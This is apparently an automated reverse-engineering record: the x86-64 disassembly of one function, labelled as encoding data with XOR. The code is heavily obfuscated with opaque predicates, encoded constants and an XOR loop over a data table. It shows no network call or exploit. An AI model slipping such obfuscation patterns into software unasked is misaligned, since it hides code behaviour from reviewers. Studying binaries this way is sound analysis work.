Function at 0x14016fdb0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x3f8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x370], 0xfffffffffffffffe
mov dword [rbp + 0x35c], r9d
mov ebx, r8d
mov rdi, rdx
mov qword [rbp + 0x360], rcx
lea r15, [rbp + 0x338]
test rdx, rdx
lea r12, [0x1404273f8]
cmovne r12, rdx
mov qword [rbp + 0x348], 0
mov qword [rbp + 0x350], 0xf
movzx eax, byte [0x14050cee4]
add al, 0xc2
mov byte [rbp + 0x338], al
mov rcx, r12
mov edx, 0xdb70a81f
mov r8d, 0x25d69187
call fcn.1400ac7d0
mov r13, rax
cmp rax, 0xf
jbe 0x14016fe50
mov rcx, r15
mov rdx, r13
mov r9, r12
call fcn.140088500
jmp 0x14016fe6e
mov qword [rbp + 0x348], r13
mov rcx, r15
mov rdx, r12
mov r8, r13
call fcn.14040bf30
mov byte [rbp + r13 + 0x338], 0
lea rsi, [0x140426b18]
mov qword [rbp + 0x330], rsi
xorps xmm0, xmm0
movups xmmword [rbp + 0x320], xmm0
mov r14, qword [rbp + 0x348]
cmp qword [rbp + 0x350], 0x10
jb 0x14016fe9e
mov r15, qword [rbp + 0x338]
cmp r14, 0xf
ja 0x14016feba
lea rax, [rbp + 0x310]
movups xmm0, xmmword [r15]
movups xmmword [rax], xmm0
mov r12d, 0xf
jmp 0x14016ff1c
mov r12, r14
or r12, 0xf
movabs rax, 0x7fffffffffffffff
cmp r12, rax
cmovae r12, rax
cmp r12, 0xfff
jb 0x14016fefc
lea rcx, [r12 + 0x28]
call fcn.1403e3fbc
mov rdx, rax
add rdx, 0x27
mov rcx, rdx
xor rcx, 0x1f
and rcx, rdx
mov qword [rcx - 8], rax
jmp 0x14016ff09
lea rcx, [r12 + 1]
call fcn.1403e3fbc
mov rcx, rax
mov qword [rbp + 0x310], rcx
lea r8, [r14 + 1]
mov rdx, r15
call fcn.14040bf30
mov qword [rbp + 0x320], r14
mov qword [rbp + 0x328], r12
mov qword [rbp + 0x308], rsi
lea rdx, [rbp + 0x308]
mov rcx, qword [rbp + 0x360]
call fcn.14016e8d0
mov r15d, eax
movsxd r8, dword [0x14042c220]
mov r9d, dword [0x14042c244]
mov eax, 0x130b22f0
add eax, dword [0x14050cee0]
cmp r15d, eax
je 0x1401700e5
lea rax, [0x14042c220]
add r8, rax
mov rcx, qword [0x140566be8]
mov eax, dword [0x140564474]
cmp eax, 0x5a
nop word cs:[rax + rax]
mov r12d, dword [0x14050c7e4]
mov eax, dword [0x140564474]
cmp eax, 0x4e
jge 0x14016ff90
mov eax, r12d
neg eax
dec eax
mov edx, 0x130b22f2
nop
mov r10d, dword [0x140564474]
cmp r10d, 0x20
jg 0x14016ffdf
mov r10d, dword [0x140564470]
lea r11d, [r10 - 1]
imul r11d, r10d
and r11d, 1
mov r10d, dword [0x14050cee0]
add r10d, edx
cmp r11d, r10d
je 0x14016ffee
mov r10d, dword [0x140564474]
cmp r10d, 0x2e
jge 0x14016ffb0
jmp 0x14016ffbd
neg eax
mov dword [0x14050c7e4], eax
mov edx, r12d
not edx
xor r12d, eax
not eax
mov r10d, dword [0x140564474]
cmp r10d, 0x45
jle 0x14017002e
mov r10d, dword [0x140564470]
mov r11d, dword [0x14050cee0]
neg r11d
add r11d, r10d
inc r11d
imul r11d, r10d
test r11b, 1
jmp 0x140170000
and edx, eax
or r12d, edx
not r12d
mov r10d, 0x130b22f2
mov esi, dword [0x14050cee0]
add esi, r10d
cmp r12d, esi
je 0x14017004f
xor r14d, r14d
jmp 0x1401700c8
mov eax, dword [0x140564470]
lea edx, [rax + 1]
imul edx, eax
test dl, 1
nop
mov edx, dword [0x14050cee0]
lea r11d, [rdx + 0x130b22f2]
mov r14d, dword [0x140564470]
lea eax, [r14 - 1]
imul eax, r14d
mov r14d, edx
xor r14d, 0x130b22f4
and edx, 0x130b22f4
lea r14d, [r14 + rdx*2]
xor edx, edx
div r14d
cmp edx, r11d
jne 0x140170060
xor eax, eax
xor r14d, r14d
cmp r11d, r9d
jge 0x1401700c8
nop word cs:[rax + rax]
cdqe
xor r14, qword [r8 + rax]
mov edx, dword [0x14050cee0]
add eax, edx
add eax, 0x130b22fa
cmp eax, r9d
jl 0x1401700b0
mov eax, dword [0x140564470]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
add r10d, dword [0x14050cee0]
cmp edx, r10d
jne 0x1401700fd
jmp 0x1401700ec
xor ebx, ebx
jmp 0x1401704eb
mov eax, dword [0x140564470]
lea edx, [rax + 1]
imul edx, eax
test dl, 1
je 0x140170131
mov eax, 0x130b22f2
nop word cs:[rax + rax]
mov edx, dword [0x140564470]
lea r8d, [rdx - 1]
imul r8d, edx
and r8d, 1
mov edx, dword [0x14050cee0]
add edx, eax
cmp r8d, edx
jne 0x140170110
jmp 0x1401700ec
test rcx, rcx
jne 0x14017015d
mov ecx, 0x900
call fcn.1403e3fbc
mov qword [rbp + 0x368], rax
mov rcx, rax
call fcn.140084e30
mov rax, qword [rbp + 0x368]
mov qword [0x140566be8], rax
mov r13, qword [0x140566be8]
mov rax, qword [r13 + 0x700]
mov rcx, rdi
call qword [0x1404ee420]
cmp eax, 0xffffffff
je 0x140170189
not eax
or eax, 0xffffffaf
cmp eax, 0xffffffff
jne 0x1401700e5
jmp 0x14017019f
mov rax, qword [r13 + 0x6f0]
call qword [0x1404ee420]
cmp eax, 0x32
je 0x1401700e5
mov rdx, qword [rbp + 0x360]
lea rax, [rdx + 0x58]
movsxd rcx, r15d
imul rcx, rcx, 0x1e8
cmp r15d, 0xffffffff
mov rdx, qword [rdx + 0x60]
lea rcx, [rdx + rcx + 4]
cmove rcx, rax
mov edx, dword [rcx]
lea rcx, [rbp - 0x30]
mov dword [rbp + 0x368], edx
mov r8d, r15d
call fcn.1401706a0
mov rax, qword [rbp + 0x408]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp + 0x400]
mov qword [rsp + 0x40], rax
mov rax, qword [rbp + 0x3f8]
mov qword [rsp + 0x38], rax
mov eax, dword [rbp + 0x3f0]
mov dword [rsp + 0x30], eax
mov eax, dword [rbp + 0x3e8]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x3e0]
mov qword [rsp + 0x20], rax
lea rcx, [rbp - 0x30]
mov rdx, rdi
mov r8d, ebx
mov r9d, dword [rbp + 0x35c]
call fcn.14016c180
mov rbx, rax
mov rax, qword [0x14042c238]
nop dword [rax]
mov ecx, dword [0x140564474]
cmp ecx, 0x10
jg 0x14017025f
xor ecx, ecx
cmp r12d, esi
setne dl
cmp dword [0x14050cee0], 0xecf4dd0e
je 0x14017026c
mov ecx, dword [0x140564474]
cmp ecx, 0x27
jge 0x140170240
jmp 0x14017024b
mov cl, dl
mov edx, 0x130b22f3
lea r8, [fcn.14016fdb0]
add r8d, r8d
add r8d, 0x29c0
mov r9d, 0x130b22f2
mov r10d, 0x130b234b
mov r11d, dword [0x14050cee0]
add r11d, edx
test r8d, r11d
jne 0x1401702c0
mov r11d, dword [0x140564470]
lea esi, [r11 - 1]
imul esi, r11d
and esi, 1
mov r11d, dword [0x14050cee0]
add r11d, r9d
cmp esi, r11d
je 0x1401702d7
mov r11d, dword [0x140564474]
mov esi, dword [0x14050cee0]
add esi, r10d
cmp r11d, esi
jge 0x140170290
jmp 0x14017029f
dec rcx
mov edx, dword [0x140564474]
cmp edx, 0x37
jg 0x140170300
jmp 0x1401702e7
mov edx, dword [0x140564474]
cmp edx, 0x39
jl 0x14017030d
nop word cs:[rax + rax]
mov edx, dword [0x140564474]
cmp edx, 0x50
jge 0x140170300
jmp 0x1401702e7
movabs rdx, 0x52ac3317d7d6c352
add rax, rdx
sub rax, r14
movabs r8, 0xad53cce828293cae
add r8, rax
and r8, rcx
mov ecx, 0x130b22f4
nop word cs:[rax + rax]
mov edx, dword [0x140564470]
lea eax, [rdx - 1]
imul eax, edx
mov r9d, dword [0x14050cee0]
add r9d, ecx
xor edx, edx
div r9d
test edx, edx
je 0x14017037a
nop
mov eax, dword [0x140564470]
mov edx, dword [0x14050cee0]
not edx
add edx, eax
imul edx, eax
test dl, 1
jne 0x140170360
jmp 0x140170340
mov rax, r8
shr rax, 0x20
xor ecx, ecx
test cl, cl
jne 0x1401703c0
mov edx, r8d
or edx, eax
mov r10d, dword [0x14050cee0]
lea ecx, [r10 + 2]
mov r9d, edx
shr r9d, cl
add r10d, 0x130b22f3
lea rcx, [fcn.14016fdb0]
add ecx, ecx
add ecx, 0x3ec0
test ecx, r10d
je 0x1401703cd
nop dword [rax + rax]
mov ecx, dword [0x140564474]
cmp ecx, 0xd
jge 0x1401703c0
jmp 0x140170387
or edx, r9d
mov eax, edx
shr eax, 8
or al, dl
movzx ecx, byte [0x140564478]
xor al, cl
mov edx, eax
not dl
and dl, cl
add dl, dl
add dl, al
mov byte [0x140564478], dl
test rbx, rbx
je 0x140170436
lea rcx, [rbp - 0x30]
call fcn.14016bbd0
cmp dword [rbp - 0x1c], 1
jne 0x140170458
mov rax, qword [r13 + 0x348]
mov rcx, rbx
call qword [0x1404ee420]
cmp dword [rbp + 0x3e8], 1
jne 0x1401704e0
mov rax, qword [r13 + 0x5e8]
mov rcx, rdi
call qword [0x1404ee420]
jmp 0x1401704e0
cmp dword [rbp + 0x3e8], 1
jne 0x1401704e0
mov rax, qword [r13 + 0x5e8]
mov rcx, rdi
call qword [0x1404ee420]
jmp 0x1401704e0
mov eax, dword [rbp - 0x20]
mov edx, eax
and edx, 1
mov ecx, 0x130b22f2
mov r8d, dword [0x14050cee0]
add r8d, ecx
cmp edx, r8d
jne 0x140170491
mov rcx, qword [rbp + 0x360]
add rcx, 0x48
lea rdx, [rbp + 0x2f8]
lea r8, [rbp - 0x30]
call fcn.140176ad0
jmp 0x1401704e2
and eax, 2
add ecx, dword [0x14050cee0]
cmp eax, ecx
setne al
sete cl
mov r8d, dword [rbp + 0x368]
mov edx, r8d
not edx
xor r8d, 4
and edx, 0xfffffffb
or edx, r8d
xor edx, 0xffffffff
sete dl
setne r8b
xor r8b, cl
and dl, al
or dl, r8b
jne 0x14017058a
mov rax, qword [r13 + 0x348]
mov rcx, rbx
call qword [0x1404ee420]
xor ebx, ebx
lea rcx, [rbp - 0x30]
call fcn.140170940
mov rax, qword [rbp + 0x350]
cmp rax, 0x10
jb 0x140170573
mov rcx, qword [rbp + 0x338]
lea rdx, [rax + 1]
mov r8, qword [0x14050cee8]
movabs r9, 0xf97aa6c2ad5a9fb3
xor r9, r8
movabs r10, 0x797aa6c2ad5a9fb3
and r10, r8
lea r8, [r9 + r10*2]
cmp rdx, r8
jbe 0x14017056e
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1401705aa
mov rcx, qword [0x14050cee8]
movabs rdx, 0xf97aa6c2ad5a8fb4
xor rdx, rcx
movabs r9, 0x797aa6c2ad5a8fb4
and r9, rcx
lea rcx, [rdx + r9*2]
lea rdx, [rax + rcx]
add rdx, 0x28
mov rcx, r8
call fcn.140177950
mov rax, rbx
add rsp, 0x3f8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, qword [rbp + 0x360]
add rcx, 0x38
lea rdx, [rbp + 0x2f8]
lea r8, [rbp - 0x30]
call fcn.140176ad0
jmp 0x1401704e2
call fcn.1403c3cac
int3